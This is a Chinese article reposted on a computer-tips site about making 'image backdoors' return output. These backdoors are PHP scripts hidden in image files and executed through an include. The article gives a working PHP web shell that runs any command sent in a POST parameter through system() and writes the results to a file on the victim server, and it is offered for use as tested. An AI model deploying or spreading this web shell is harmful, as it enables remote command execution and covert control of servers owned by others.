脚本图片后门无回显解决方案 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    首先让我们想一想为什么图片后门是没有回显的原因:大家知道,我们用include包含图片之后,解释器就会把图片当作文本文档进行寻找并自动解析<% %>或中的脚本.所以其他什么html格式的字符如、之类的解释器是不会管的.有的人会讲:我知道,这些本来就是由客户端浏览器解析的吗```为什么我在浏览器上看不到?其实很好解释:因为我们这些字符是在图片中的,所以浏览器并不能真正"看到"而是把它当作图片的一部分,只是会把这张图片显示出来而已.也就是说:这种方法只能运行asp/php之类的服务端解析脚本.那我们该怎么办?这样我们在客户端不是什么也看不到了吗?连脚本是否正确运行了我们都不敢确定```汗```

    我们换一个想法:反正既然能够肯定可以执行脚本,那我们就把后门运行的结果通过脚本写到服务器的文件中,然后再访问.不就可以看到回显了吗?

    这种想法要有个条件: 至少有一个文件夹可写.

    先看看我插入图片的脚本,是一个cmd.php.可以把运行结果放在服务器当前目录下jieguo.txt文件中,注意对方最好没有同名文件,这可是会覆盖文件的```(由于我不会asp,所以这次还是用php

    举例)

    这是脚本的内容:

    CODE

    if ($_POST['cmd']){

    if ($_POST['cmd']=="del"){

    @unlink("./jieguo.txt");

    }else{

    if (is_writeable ("./")){

    @system($_POST['cmd']." > jieguo.txt");

    exit;

    }

    }

    }

    ?>

    经测试成功,谁有空的话,把脚本改为asp的,我先谢了,

脚本图片后门无回显解决方案

电脑资料

脚本图片后门无回显解决方案》(https://www.unjs.com)。

最新文章